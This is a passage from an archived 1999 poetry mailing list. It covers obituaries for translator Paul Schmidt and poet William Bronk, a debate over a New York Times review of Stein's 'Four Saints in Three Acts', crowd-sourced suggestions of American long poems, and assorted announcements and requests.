no remark has ever been made that more defined the writer as being ignorant of the contemporary poetry scene.....

Ron S. of course has a well-known essay in which he speaks of how poets are "disappeared" by the literary establishment... Here are more instances of disappearing in action.....

Mark Prejsnar

On Sun, 21 Feb 1999, Charles Bernstein wrote:

> Very sad to find an obituary in the NY Times today for Paul Schmidt, who I got to know in the mid-80s and very much admired. Of his work, I think primarily of Paul's three-volume translation of Khlebnikov, published by Harvard University Press (the final, long delayed, third volume of the poems came out in 1997) -- because that work was so important to me, and I had the chance to talk to Paul about it. But he is equally known for his libretti, his own poems, and his translation of Rimbaud, among many other projects.
>
> Paul was 65 years old and in many ways at the height of his career. Here is yet another instance of that unspeakable horror that continues to plunder our culture and haunt its survivors. His death can't help but bring to mind the generations of poets (and artists and nonpoets and nonartists) ravaged by this scourge called AIDS.
>
> --Ch.B.
>
> ****
> Here is the Times's Obituary:
>
> Paul Schmidt, Translator, Poet and Actor, Dies at 65
>
> By STEPHEN HOLDEN
>
> NEW YORK -- Paul Schmidt, a librettist, translator, poet, teacher and actor who collaborated with many major avant-garde theater artists, died at St. Luke's-Roosevelt Hospital Center on Friday. He was 65.
>
> The cause of death was complications of AIDS, said his brother Jim.
>
> Schmidt was known best for translating the complete works of Rimbaud and the plays of Chekhov. He also devoted many years to translating the complete works of Velemir Khlebnikov, a little-known Russian poet who died of malnutrition in 1922 at the age of 37. A production of Khlebnikov's play "Zangezi," first seen in Los Angeles in 1986 and directed by Peter Sellars (it was later staged at the Brooklyn Academy of Music) was one of Schmidt's several notable collaborations with leading experimental directors.
>
> Another was his libretto for "Alice," an adaptation of Lewis Carroll's "Alice's Adventures in Wonderland" and "Through the Looking Glass," which was a high point of the Brooklyn Academy of Music's Next Wave Festival in 1995.

A collaboration with the director Robert Wilson and the composer Tom Waits, "Alice" was praised by The New York Times for elucidating "an international theatrical style in which Minimalism, German Expressionism, Japanese kabuki and American pop bump up against one another in a grand, eye-catching pageant."

Schmidt's libretto was described as capturing "a strain of late-19th-century romantic lyricism and drawing it out with a graceful literary refinement."

For the Wooster Group's 1990 theater piece, "Brace Up!," Schmidt supplied a translation of Chekhov's "Three Sisters" that incorporated dance sequences and video, and he also appeared in the production. It was one of many small roles he played on the stage. For JoAnne Akalaitis' 1989 production at the Guthrie Theater in Minneapolis of Jean Genet's five-and-a-half-hour, 100-character play "The Screens," he created the text out of three versions the playwright had left behind.

Other playwrights whose works he translated for theater productions include Gogol, Brecht and Marivaux. "Black Sea Follies," his original play about Stalin and Shostakovich (with music by the composer) was presented by Playwrights Horizons and the Music Theater Group in 1986.

Schmidt was born in Brooklyn and attended Colgate and Harvard, where he wrote his dissertation for his doctorate in Slavic languages on the influential Russian director Vsevolod Meyerhold. While at Harvard, he became involved with a now-legendary circle of friends who produced plays at the Agassiz Theater in Cambridge in the summers.

The group included the actors Lindsay Crouse, Tommy Lee Jones, John Lithgow, Kathryn Walker, Stockard Channing (to whom Schmidt was married for seven years) and the director and writer Tim Mayer, whose collected poems and plays he edited under the title "Running From America."

From 1958 to 1960, he served in the U.S. Army as a member of Army intelligence. From 1967 to 1976, he taught Slavic languages at the University of Texas in Austin. He published two volumes of poetry, "Night Life" and "Winter Solstice" (both 1996, Painted Leaf Press).

A collection of Rimbaud translations with photographs by Robert Mapplethorpe, titled "A Season in Hell," was in published in 1997 (Little, Brown).

In addition to his brother Jim, he is survived by three sisters, Mary Kay Murray, Margaret Sand and Anne Schmidt; another brother, Thomas, and his friend, Mark Bennett.

February 21, 1999 (c) The New York Times

↑ Index

254. Richard Carfagna david jones
Mon 22 Feb 1999

Hi,
 I'm looking to find critical essays on the poetry of david jones.
 If anyone knows of books devoted to him exclusively could you let me know, or if you know of any websites he might appear.
 Thanks, ric

↑ Index

255. Steven Shoemaker
Re: Goodbye Paul, Goodby Khlebnikov
Mon 22 Feb 1999

In Sunday's NYTBR there's another case pretty close to what Mark P. is talking about in his post about the "disappearing" of artists. In a review of a new book about the theatrical debut of Stein's Four Saints.. the reviewer keeps insisting that the project was somewhat perversely organized by and around "second-rate" artists. That is, Pound and Joyce were both interested in doing the libretto but the second-rate Stein was chosen instead. Virgil Thomson (2nd-rate) did the score rather than Stravinsky (or some other first-rater, I don't have the paper with me). The second-rate choreographer (whose name was unfamiliar to me) was not Balanchine, and so on. Sure, one's entitled to make value judgments, but as Mark was suggesting the whole structure of judgment here seems fundamentally ideological, as if there's some implied law of conservation of genius at work... steve

↑ Index

256. Poetry Project
this week at poproj: addendum
Mon 22 Feb 1999

Oops,

Last Friday we forgot to include what was omitted on the Calendar!

FRIDAY

Feb. 26th

at 10:30 pm

A Performance of Divison of Habitat

The Concert of Endangered Species will perform selections from the cycle Division of Habitat, a series of site-specific concert pieces exploring the dynamic relationship between music and text, the fusion of the two producing a "theatrical" event. The Concert of Endangered Species has been performing these events in a variety of unusual locales around New York City since 1993 under the direction of Lee Elickson.

More info: call [redacted]

Thanks and good night

↑ Index

257. Ron Silliman
Disappearing Stein (stupid modernism)
Mon 22 Feb 1999

Ron S. of course has a well-known essay in which he speaks of how poets are "disappeared" by the literary establishment... Here are more instances of disappearing in action.....

Mark Prejsnar

Nobody excels at this better than the NY Times. Jim Holt makes a bold grab at the Vendler-Pinochet award for 1999 in the current NYT book review in his piece on Steven Watson's _Preparing for Saints_, a history of the staging of Four Saints in Three Acts, when Holt invents a bifurcated modernism in which Joyce = smart, dense, full o' references you could look up, Stein = flat, surfacy, "word salad." In short, "stupid modernism". Here's the passage that made me reach for the beta blockers:

'Was the thing any good?

'It's an important question. If, as Watson's subtitle suggests, this opera was crucial to the ''mainstreaming of American modernism,'' one would like to have some assurance that the right kind of modernism got mainstreamed. And what's striking about ''Four Saints'' is its rejection of the modernism of complexity -- the modernism of Picasso, Schoenberg and Joyce -- in favor of the modernism of simplicity.

'That was largely Thomson's doing. As ''Prepare for Saints'' makes clear, this indefatigable little man was the motive force behind America's first full-scale Gesamtkunstwerk. In addition to creating the music for the opera, he determined its overall esthetic shape by his choice of collaborators. In doing so he consistently fought shy of the great in favor of the quirky and second-rate. Both Pound and Joyce expressed interest in doing a libretto for him. Instead he sought out Stein, who fancied herself a Cubist of words but whose writings had none of the structural rigor characteristic of Cubism. The resulting text -- ostensibly about Teresa of Avila, Ignatius Loyola and a supporting cast of lesser saints -- was a jumble of children's rhymes, word games and random verbiage that rarely lurched into sense. ''The two things you never asked Gertrude, ever, were about her being a lesbian and what her writing meant,'' a pleased Thomson commented."

You will note the clever way Holt quotes Thomson, so as to make the gratuitous homophobic dig not his responsibility (indeed, that of a gay man). You will also note that Holt's simply WRONG! There is certainly enough evidence, from Dick Bridgman to Ulla Dydo, to demonstrate that Stein's work is anything but "quirky and second-rate." Stein's "problem," it would seem, is that it does not lend itself to the sort of old fashioned content analysis that Holt grew up with (presuming here, as his review suggests, that he's 15 years older than I am, or at least permanently embedded in the late 1940s). But then, in his view, she's not even the one responsible for her work: it's Virgil who's to blame.

Even more infuriating than Holt's demonstration of illiteracy is the presumption that "one would like to have some assurance that the right kind of modernism got mainstreamed." A perfect instance of the critic as gatekeeper (disappearer) modeled for us here. Hilton Kramer would be proud.

The reality of course was/is that there were/are as many modernisms as there were, in fact, modernists and perhaps even "modernist works." The idea of channeling all thought down to a soundbyte, as this would have intellectual history do, ought to drive up the identarian paranoia of every reader and writer amongst us.

Perhaps it's fitting, therefore, to find out, as the NYT blurb on Holt says, "is working on a book about the history of the idea of the infinitesimal." This, we suspect, will be a memoir.

Ron

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

258. Elizabeth Treadwell

Outlet (3) is here

Mon 22 Feb 1999

Hi all--
Happily announcing the publication of

Outlet (3) Ornament

72 pp, our biggest issue yet, and gorgeous, frankly with poems

by Franklin Bruno
MTC Cronin
MK Francisco
Rosemary Griggs
Brenda Iijima
Johanna Isaacson
Jason Lynn
Laura Moriarty
Yedda Morrison
&
Elizabeth Robinson

pensees
by Malcolm de Chazal translated by Irving Weiss

a superfantastic fashion collaboration
by
Jason Nelson
& lilytank designs

fiction
"The Girl with the Heart-Shaped Heart"
by Carol Treadwell

an interview "Re: Harper's Bazaar" with Harriet Zinnes

& reviews of new & newish books
Jocelyn Saidenberg by David Buuck Jeff Clark by Jacques Debrot
Myung Mi Kim by William Freind
Cydney Chadwick by Cheryl Burket Jacqueline Risset by Jacques Debrot

previews at our website available now now now for a mere five dollars

please make checks to the editor,
Elizabeth Treadwell

contributors on the list: your copies are in the mail (except JD & HZ, I need your addresses, thanks)

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

259. Burt Kimmelman

William Bronk, 1918-1999 (please see way

Mon 22 Feb 1999

From: MX%"[redacted]" 22-FEB-1999 19:46:42.51
To: MX%"[redacted]"
CC:
Subj: William Bronk, 1918-1999

Mon, 22 Feb 1999 19:46:40 EST
mail-gw2.njit.edu (8.8.7/8.8.7) with ESMTP id UAA04007 for <[redacted]>; Mon, 22 Feb 1999 20:06:19 -0500
Mon, 22 Feb 1999 19:47:18 -0500 (EST)
Date: Mon, 22 Feb 1999 19:47:18 -0500 (EST)
using -f
To: [redacted]
From: "Burt J. Kimmelman (14979)" <[redacted]>
Reply-To: [redacted]
Subject: William Bronk, 1918-1999

Date: 2 Feb 1999 19:47:18 -0500 Lines: 46

M 23885 Burt J. Kimmelman (Burt,14979) 2/22/99 7:47 PM 46 lines

TO: "Burt Kimmelman -@NJIT" Subject: William Bronk, 1918-1999

William Bronk (1918-1999) died some time last night, apparently peacefully.

The Smile on the Face of a Kouros

This boy, of course, was dead, whatever that might mean. And nobly dead. I think we should feel he was nobly dead. He fell in battle, perhaps, and this carved stone remembers him not as he may have looked, but as if to define the naked virtue the stone describes as his.

One foot is forward, the eyes look out, the arms drop downward past the narrow waist to hands hanging in burdenless fullness by the heavy flanks.
The boy was dead, and the stone smiles in his death lightening the lips with the pleasure of something achieved:
an end. To come to an end. To come to death as an end. And coming, bring there intact, the full weight of his strength and virtue, the prize with which his empty hands are full. None of it lost, safe home, and smile at the end achieved.

Now death, of which nothing as yet - or ever - is known,
leaves us alone to think as we want of it,
and accepts our choice, shaping the life to the death.
Do we want an end? It gives us; and takes what we give and keeps it; and has, this way, in life itself, a kind of treasure house of comely form achieved and left with death to stay and be forever beautiful and whole, as if to want too much the perfect, unbroken form were the same as wanting death, as choosing death for an end. There are other ways; we know the way to make the other choice for death: unformed or broken, less than whole, puzzled, we live in a formless world. Endless, we hope for no end.

I tell you death, expect no smile of pride from me. I bring you nothing in my empty hands.

- William Bronk

(Life Supports: New and Collected Poems, page 66; orig. pub. in The Empty Hands, 1969)

- Burt Kimmelman
..

↑ Index

260. pete spence
Re: Goodbye Paul, Goodby Khlebnikov
Mon 22 Feb 1999

---

the reference in the obit is to "the little-known Russian poet >Khlebnikov." Now this is very peculiar, and made me blink hard. Why this >strangely insistant, not exactly accurate characterization? I mean, is he >really "little-known" compared to Mayakovsky or Mandl'stam?? Well, yes >sort of, but only if you specify a certain group of academics and >intellectuals and poets, but a different (and argeuably more interesting) >group would know, or know of, Khlebnikov as readily as the other two....

>
>Mark Prejsnar
>
seems to me Khleb was well known enuf!!! there's a lot of other stuff written around his circa that could do well with being as well known and i'm waiting for a read when they are//pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

261. Mark Weiss
Bill Bronk
Tue 23 Feb 1999

I just heard from a mutual friend that Bill Bronk died this morning. A great loss.

↑ Index

262. Edward Foster
William Bronk
Tue 23 Feb 1999

William Bronk, for many us the greatest poet of his generation, died yesterday at his home in Hudson Falls, New York. He was eighty-one. His last poem, left in manuscript beside his chair, follows:

Art isn't made, it's in the world almost unseen but found existent there. We paint, we save the sound in music, we write it down.

↑ Index

263. Lisa Bourbeau
missing person
Tue 23 Feb 1999

---

i realize this may no longer be an appropriate place for this but:

does anyone by any chance have a new email address for Brent Long, who used to post occasionally on this list? if so, could you please backchannel?

thanks,

lisa

↑ Index

264. Poetics List
long poem / Rosenthal
Tue 23 Feb 1999

Had to reformat this message. Chris

---------- Original message (ID=C6699424) (124 lines) ----------

From: "Jennifer Rosenthal" <[redacted]>
To: <[redacted]>
Subject: long poem
Date: Mon, 22 Feb 1999 12:06:44 -0500

Here is a compellation of the responses to my email asking for suggestions of American long poems written 1945-1960. Please let me know if you think of a poem that isn't here. Thanks to all those who responded!!

Jennifer Rosenthal

The Cantos, Ezra Pound
The Maximus Poems, Charles Olson
Paterson, William Carlos Williams
Helen in Egypt, HD
Stevens' late long poems
Montage of a Dream Deferred, Langston Hughes
Testimony: A Recitative, Charles Reznikoff
The Dragon and the Unicorn, Kenneth Rexroth
Paean to Place, Lorine Niedecker
'A', Louis Zukosky
The Alphabet, Ron Silliman
The Heart's Garden, the Garden's Heart, Kenneth Rexroth
Desamere, Alice Notely

Draft, Rachel Blau DuPlessis
Midwinter Day, Bernadette Mayer
Howl, Allen Ginsberg
Kaddish, Allen Ginsberg
Ode to Michael Goldberg's Birth and Other Births, Frank O'Hara
In Memory of My Feelings, Frank O'Hara
Biotherm, Frank O'Hara
Memorial Day, Frank O'Hara
Second Avenue, Frank O'Hara
When the Sun Tries to go on, Kenneth Koch
Ko: Or a Season on Earth, Kenneth Koch
One Life, Muriel Rukeyser
Sea and the Mirror, W.H. Auden
Lost Son sequence, and other sequences, Theodore Roethke
Letter to an Imaginary Friend Melvin Tolson -- The Libretto for the Republic of Liberia,Thomas McGrath
Myths and Texts, Gary Snyder
Imaginary Elegies, Jack Spicer

↑ Index

265. schuchat
Re: Goodbye Paul, Goodby Khlebnikov
Tue 23 Feb 1999

I mentioned Paul Schmidt's death to my Russian teacher this morning, who expressed amazement that anyone could translate Khlebnikov into English, since even Russians can't understand him!

In Russian terms, I think Khlebnikov is very well-known for two or three pieces (e.g., the laugh poem) and as an image. Perhaps something like the non-literary educated American's sense of Stein.

Khodasevich is the real "little known" Russian poet.

I didn't have any problem with Steve Holden's obituary for Paul Schmidt.

The piece on Stein's Saints, on the other hand, was abysmal.

↑ Index

266. Michael Boughn
Re: long poem / Rosenthal
Tue 23 Feb 1999

Additional "epic": John Clarke, In the Analogy. Also H.D, The War Trilogy, and Ronald Johnson, Ark

best,
Mike

↑ Index

267. David Kellogg
Re: long poem / Rosenthal
Tue 23 Feb 1999

> From: "Jennifer Rosenthal" <[redacted]>
>
> Here is a compellation of the responses to my email asking for suggestions of American long poems written 1945-1960. Please let me know if you think of a poem that isn't here. Thanks to all those who responded!!
>
> The Alphabet, Ron Silliman

I think Ron was a 14 years old in 1960.

Cheers,
David
~~~
~~~

Should it surprise us, having known the holes of darkness in the longest days?

I have done
with promises (or say I have) of things to come: the all-light; the all-dark; something slow emerging; the slow (or fast) and final decay.

The thing we have to live with, the last thing, is it is all here, and was, and will be, is all there is.
Nothing is coming but what is already here as this light, now, in the darkest time (and nothing here that ever needed to come) at once, too much for us and not enough.

from All of What We Loved (Talisman House, 1998):

CERTAINTIES

A certain one whose name was his real name lived in a real place at a certain time.
Then the time was gone and the real all gone.

..
Christopher W. Alexander, ed.
nominative press collective 19 Hodge Avenue #9 / Buffalo NY 14222
[redacted] / [redacted]

↑ Index

269. Emily Grossman
Page Mother Transport
Tue 23 Feb 1999

Dear List,

Am looking to share a car ride down to San Diego from the S.F. area to the Page Mothers Conference on March 5. If anyone has room in their car and would like some extra gas money, please backchannel.

Thanks a bunch,

Emily Grossman
[redacted]

↑ Index

270. Lowther,John
Re: long poem / Rosenthal
Tue 23 Feb 1999

---

some of David Antin's "talk poems" seem of sufficient length and also frequently are rooted in place if not "centered" in it

i'm thinking of "real estate" in particular

but there are others in his later collections in which NYC is central or his sense of being a NYer in southern california

)L

↑ Index

271. Aldon Nielsen
Re: Disappearing Stein (stupid modernism)
Tue 23 Feb 1999

---

and for those of you who may not have read the "aminstreaming modernism" review yet -- take a good look at the role the black cast of SAINTS plays in this fellow's version of modernist reception --

↑ Index

272. Poetics List
Re: long poem
Tue 23 Feb 1999

From: "Bradford J Senning" <[redacted]>
Date: 2/23/99 10:07 AM -0700

One poem your list is missing is John Ashbery's "Europe" from _The Tennis Court Oath_, which I believe was published in 1962, but "Europe" may have been let out earlier. At any rate, it's quite an achievement in long poetry.

Bradford Senning

↑ Index

273. Poetics List
Re: long poem / Rosenthal
Tue 23 Feb 1999

Had to reformat this one. Chris

---------- Original message (ID=2A5DCE97) (55 lines)

To: UB Poetics discussion group <[redacted]>

From: Sylvester Pollet <[redacted]>
Subject: Re: long poem / Rosenthal

ARK, Ronald Johnson

↑ Index

274. Poetics List
Re: long poem / Rosenthal
Tue 23 Feb 1999

Had to reformat this one. Chris

---------- Original message (ID=7208ABDA) (71 lines)

Date: Fri, 19 Feb 1999 07:16:52 -0700
To: UB Poetics discussion group <[redacted]>
From: Charles Alexander <[redacted]>
Subject: Re: long poem / Rosenthal

A lot of post-1960 work in this list (Silliman, Blau Du Plessis, and others). If you're going to include post-1960 work I would hope you would define "American" as meaning more of the continent than the United States, so as not to leave off marvelous works by bpNichol, Phyllis Webb, Daphne Marlatt, George Bowering, and other Canadians. Plus Brathwaite, Walcott, and other Caribbean writers. I apologize for not being so informed about pre-1960 Canadian work -- perhaps others could help in this regard.

charles

↑ Index

275. Poetics List
CFP: Robinson Jeffers (3/25; MLA 1999)
Tue 23 Feb 1999

This came to me for the list. Chris

From: "Joe Aimone" <[redacted]>
Date: 2/23/99 7:53 AM -0800

CALL FOR PAPERS

Current Attractions of Robinson Jeffers

For a proposed special session at the 1999 MLA Convention, proposed on behalf of the Robinson Jeffers Association, papers on the current attractions of the poetry of Robinson Jeffers are requested.

Send 50-100 word abstracts only (for 15-20 minute papers), plus information on institutional affiliation and rank if any (brief cv ok) by March 25, SOONER IF POSSIBLE.

Include electronic mailing address and telephone numbers in submission for replies; no paper replies will be mailed, though paper submissions will be considered.

Joseph Aimone
[redacted]
English Department
Truckee Meadows Community College
7000 Dandini Boulevard
Reno, Nevada 89509

Presenters must be members of the Modern Language Association with dues paid up by April 1, 1999.

Robinson Jeffers's poetry has retained a small but dedicated following of readers who are neither writers themselves nor critics and scholars. He has also remained of interest to a handful of serious scholars, and his poetry has remained a standard and vivid presence for students, who often find his work refreshingly straightforward and yet disturbing, as they dismiss much modernist poetry of Jeffers' cohorts for being obscure and of only academic interest. And poets in large numbers, from many different schools, continue to respect and even revere Jeffers as a landmark at least and often a direct if not visible influence in American and other English language poetry. Jeffers is a narrative and dramatic poet of Aeschylean power, a lyricist of striking sublimity and a jeremiadical philosopher poet with a granite vision of transcendence that puts the human in its pitifully small place in a grand and inhumanly beautiful universe.

But why should Jeffers claim the interest of a wider circle of readers now? How does his refusal of the pieteies of modernism sit with postmodern interpreters and recalcitrant defenders of either the modernist canon or with the soft deconstruction multiculturalism visits on a culture he thought already doomed to irrelevance in nature? How does his fulminant and mordant view of nature figure in the eco-critical discourses of the new millenium? How do his unapologetic portrayals of strong and evil sexuality and fatality make sense in the gender politics of a constructivist or strategically essentialist feminism or a multiply and polymorphously perverted psychoanalytic world of theory? Is there anything queer about Jeffers? How do his racially and ethnically mestizo characterizations and narratives pollute the hybrid paradigms of current reading? How does his insistently neoclassic poetics rattle the chains of contemporary poetry and criticism of all types and precepts? How does Jeffers rocky coastal California sensibility rock the assumptions of regionalism? How does his censored antiwar antiauthoritarian politics speak today? What nation is Jeffers' USA? Now that we live in the future, are we ready for Jeffers, who (as he put it himself) wrote "for antiquity?"

--
Joe Aimone
[redacted]

↑ Index

276. Lowther,John
David Antin
Tue 23 Feb 1999

---

poetix

davidantin is one of my favorite poets & has had a huge impact on my writing

i've been trying to collect as much material by and about him as i can find and two things in particular have elluded me

his book TALKING published by the Kulchur Foundation and a special issue of the magazine VORT which focused on Antin and Rothenberg ultimately i wd like to own both of these items but in the absense of that i'd like to get copies of the poems in the former that do not appear in the sun & moon SELECTED POEMS and copies of all the Antin specific material in VORT

is there anyone who cd help me with this (i'm, of course, willing to pay postage & copying costs etc)

i've also got the beginnings of a bibliography started (with the help of a librarian friend) but i know that it's unfinished and it also doesn't cover material about him by other critics poets etc

any suggestions in this regard or discussion of Antin wd be cool

thanx

)L

↑ Index

277. MAXINE CHERNOFF
Re: long poem / Rosenthal
Tue 23 Feb 1999

Paul Hoover's book-length poem, THE NOVEL (New Directions, 1990).

On Tue, 23 Feb 1999, Lowther,John wrote:

> some of David Antin's "talk poems" seem of sufficient length and also frequently are rooted in place if not "centered" in it
>
> i'm thinking of "real estate" in particular
>
> but there are others in his later collections in which NYC is central or his sense of being a NYer in southern california
>
> )L

↑ Index

278. Maria Damon
lorenzo thomas
Tue 23 Feb 1999

does anyone out there have lorenzo thomas's e-mail? i had his card in my hand not 1 hr ago, and now i can't find it. feeling like a dope --md

↑ Index

279. Kathy Lou Schultz
Re: long poem / Rosenthal
Tue 23 Feb 1999

Address for _Talisman_ anyone?
(Thought I had the correct one, but just received something returned "not deliverable.") Thank-yee.
[redacted]

↑ Index

280. acgold01
Addresses
Tue 23 Feb 1999

Could someone please backchannel me with e-mail addresses for Ben Friedlander and Ed Foster? I can't find anything for Ben, and the one I have for Ed isn't working. Thanks in advance.

Alan

PS: Send to [redacted], as I may be away from my work account for a couple of days.

↑ Index

281. Todd Baron /*/ ReMap
Re: William Bronk
Tue 23 Feb 1999

---

a wondrous thing about B. Bronk: years ago--at a job I hated--I showed a person who had not yet come to poetry--ever--a poem of his: she went out and bouoght a book of his.

HIS is a work thta did all the things (I) (we) want the poem to say and do. THat is, be poetry. be it.

already missed.

ToddBaron

↑ Index

282. Pierre Joris
Re: long poem / Rosenthal
Tue 23 Feb 1999

Poetics List wrote:

> Had to reformat this message. Chris
>
> ---------- Original message (IDÆ699424) (124 lines) ----------
>
> From: "Jennifer Rosenthal" <[redacted]>
> To: <[redacted]>
> Subject: long poem
> Date: Mon, 22 Feb 1999 12:06:44 -0500
>
> Here is a compellation of the responses to my email asking for > suggestions of American long poems written 1945-1960. Please let me know if you think of a poem that isn't here. Thanks to all those who responded!!

>
> Jennifer Rosenthal
>
> The Cantos, Ezra Pound
> The Maximus Poems, Charles Olson
> Paterson, William Carlos Williams
> Helen in Egypt, HD
> Stevens' late long poems
> Montage of a Dream Deferred, Langston Hughes
> Testimony: A Recitative, Charles Reznikoff
> The Dragon and the Unicorn, Kenneth Rexroth
> Paean to Place, Lorine Niedecker
> 'A', Louis Zukosky
> The Alphabet, Ron Silliman
> The Heart's Garden, the Garden's Heart, Kenneth Rexroth
> Desamere, Alice Notely
> Draft, Rachel Blau DuPlessis
> Midwinter Day, Bernadette Mayer
> Howl, Allen Ginsberg
> Kaddish, Allen Ginsberg
> Ode to Michael Goldberg's Birth and Other Births, Frank O'Hara
> In Memory of My Feelings, Frank O'Hara
> Biotherm, Frank O'Hara
> Memorial Day, Frank O'Hara
> Second Avenue, Frank O'Hara
> When the Sun Tries to go on, Kenneth Koch
> Ko: Or a Season on Earth, Kenneth Koch
> One Life, Muriel Rukeyser
> Sea and the Mirror, W.H. Auden
> Lost Son sequence, and other sequences, Theodore Roethke
> Letter to an Imaginary Friend Melvin Tolson -- The Libretto for the Republic of Liberia,Thomas McGrath
> Myths and Texts, Gary Snyder
> Imaginary Elegies, Jack Spicer

Besides Silliman -- someone alreday mentioned his age in 1960 --, Notley, Duplessis & Mayer all started to publish after 1960 & heir major is post-1970.

--
==========Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]

fax: [redacted]
==========Nomadism answers to a relation that possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

283. Pierre Joris
Re: long poem / Rosenthal
Tue 23 Feb 1999

Poetics List wrote:

> Had to reformat this one. Chris
>
> ---------- Original message (ID=7208ABDA) (71 lines) ----------
> Date: Fri, 19 Feb 1999 07:16:52 -0700
> To: UB Poetics discussion group <[redacted]>
> From: Charles Alexander <[redacted]>
> Subject: Re: long poem / Rosenthal
>
> A lot of post-1960 work in this list (Silliman, Blau Du Plessis, and others). If you're going to include post-1960 work I would hope you would define "American" as meaning more of the continent than the United States, so as not to leave off marvelous works by bpNichol, Phyllis Webb, Daphne Marlatt, George Bowering, and other Canadians. Plus Brathwaite, Walcott, and other Caribbean writers. I apologize for not being so informed about pre-1960 Canadian work -- perhaps others could help in this regard.
>
> charles

& even if you stayed US-sides after 60, there is major long work to be added: Ed Dorn's Slinger, Robert Kelly's Axon Dendron Tree and The Loom, Rothenberg's Poland 1931, Ted Enslin's Forms, Synthesis, and Ranger, Diane Di Prima's Loba, Steve Jonas' Orgasms/Dominations, David Meltzer's Hero/Lil, Frank Samperi's trilogy (The Prefiguration; Quadrifarian; and Lumen Gloriae), Ed Sanders' 1968, Anne Waldman's Iovis, -- not to mention such britishers as Allen Fisher's Place or Iain Sinclair's Lud Heat.

pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/

6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

284. Tina Rotenberg
please post -- thank you!
Wed 24 Feb 1999

---

* Press Release *

from: Listening Chamber poetry & poetics

contact: Steve Dickison, editor & publisher
1605 Berkeley Way, Berkeley CA 94703
tel [redacted] fax [redacted]
e-mail: [redacted]

subject: _Empty Gate_, by Susan Thackrey
ISBN: 0-9639321-4-4
84 pages, $10.00

distributed by: SPD/Small Press Distribution, Inc.
1341 Seventh St, Berkeley CA 94710-1403
tel [redacted] or [redacted]
e-mail: [redacted]
website: www.spdbooks.org

San Francisco poet Susan Thackrey's debut book of poetry, _Empty Gate_ -- "a long-awaited superb first book" (Norma Cole) -- collects six sequences of poems in a work of singular endeavor, attention, and lyric intelligence.

Ms. Thackrey, a member of the inaugaural class in poetics at New College of California when that program was created around the occasion of Robert Duncan's teaching, now works in San Francisco as a practicing analyst. _Empty Gate_ is dedicated to Duncan, and opens with an epigraph from William of Aquitaine's Provençal canzon:

 Farai un vers de dreyt nien ("I'll make a verse of pure nothing")

The simplicity of that claim or complaint hides a question that haunts poetry again and again. How does anyone, out of pure nothing -- struck speechless or destituted, the ground pulled out or opened up -- find a place to speak? Out of negatives then, such silences ("so what is it that holds its shape / shot full of holes maintains its hold / informs on us in time") the question becomes how to find a way, "unfounded just here."

Empty Gate joins Norma Cole's _Mars_ and Duncan McNaughton's _Valparaíso_ as the third book in the Listening Chamber Poetry Series.

About _Empty Gate_:

Benjamin Hollander:

"Agape at this gate, we enter the mythic consciousness of the human -- its origins and horizons, its wounds and desires, its benevolences and violations. Here we come to moments of luminous grace and _understanding_ by _standing under_ a momentum of words which 'cannot be dispelled from the world,' breaking like waves, compressed to a gasp. Here is the transcendent shock of recognition for the beings who 'beg mercy/bear fire,' even if recognition bears no word.'"

Diane di Prima:

"_Empty Gate_ frames vision vast as the sky, out of time, but intimate as the moon on a fingernail. Here keen poetic intelligence bends to the heartspace, listens. Susan Thackrey holds loss, joy, memory: bits of gold in an open hand -- an offering."

Norma Cole:

"In musical registers distinctly its own, Susan Thackrey's _Empty Gate_ is an intricately fashioned work of generosity and restraint. With cut-glass clarity, the double VENUS at its literal center reveals the inevitability of echo and the power of erasure, 'dreaming no / in the sleep of yes.' The _here_ and _there_, the _then_ and _now_ have never been so close. It is a long-awaited superb first book."

--- ---

Listening Chamber
poetry & poetics

Steve Dickison, editor & publisher
1605 Berkeley Way, Berkeley CA 94703
tel [redacted] fax [redacted] e-mail: [redacted]

↑ Index

285. Michael Boughn
Re: long poem
Wed 24 Feb 1999

A further suggestion, if you want to get out of the 20th century box--Melville's Clarel. It's really a unique poem, the first american shot at an epic to the best of my knowledge. And though the prosody is traditional (rhyming couplets in iambic tetrameter--25,000 lines of it) the content is already heavily post-modern.

Mike

↑ Index

286. Michael Boughn
question
Wed 24 Feb 1999

Does any body know a sexy Greek word for "teacher"?

Mike

↑ Index

287. louis stroffolino
RONK AND/OR RATCLIFFE REQUEST...
Wed 24 Feb 1999

Does anybody here have, and/or know, the CURRENT addresses (snail mail preferably, although both if you have them) for Martha RONK and Stephen RATCLIFFE.... if so, i'd appreciate the addresses of these poet/SHakespeareans...
(backchannel, thanks).....
chris

↑ Index

288. ShaunAnne Tangney Humanities
Re: long poem / Rosenthal
Wed 24 Feb 1999

On Wed, 24 Feb 1999, Pierre Joris wrote:

> From: "Jennifer Rosenthal" <[redacted]>
> To: <[redacted]>
> Subject: long poem
> Date: Mon, 22 Feb 1999 12:06:44 -0500

> Here is a compellation of the responses to my email asking for suggestions of American long poems written 1945-1960. Please let me know if you think of a poem that isn't here. Thanks to all those who responded!!

robinson jeffers' the double axe (in the liveright edition by the same name); also the inhumanist--in fact, jeffers has LOTS of LONG poems, but i'm w/o my CP at hand and am unsure of the dates. --shaunanne tangney

>

↑ Index

289. Poetics List
Re: long poem / Rosenthal
Wed 24 Feb 1999

From: Heather H Thomas" <[redacted]>
Date: 2/23/99, 5:23 PM -0500

Just a quick note--ALice Notley's Desamere was written in the 1990s, not the period of your study.
Best,
Heather Thomas

Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA [redacted]

↑ Index

290. Poetics List three reminders
Wed 24 Feb 1999

All - a few requests from me and/or fellow-subscribers:

//1 Please include the location (city, state, country etc.) in all reading/event announcements!

//2 Including the text of a prior message in a reply is fine, but please do so only when necessary and then Selectively. Otherwise, subscribers who receive the list in digest form end up having to scroll through the same message three and four times etc., a sure route to grumpiness. I've been editing out the repetitions myself, but it were preferable I didn't have to do so.

//3 Remember, posts to the list should be directed to <[redacted]>, and notes to or correspondence with me should be directed to <[redacted]>;
lately there's been a fair bit of misdirection on both sides, and it makes things a bit confusing behind the (stage not iron) curtain.

thanks very much. Chris

Christopher W. Alexander
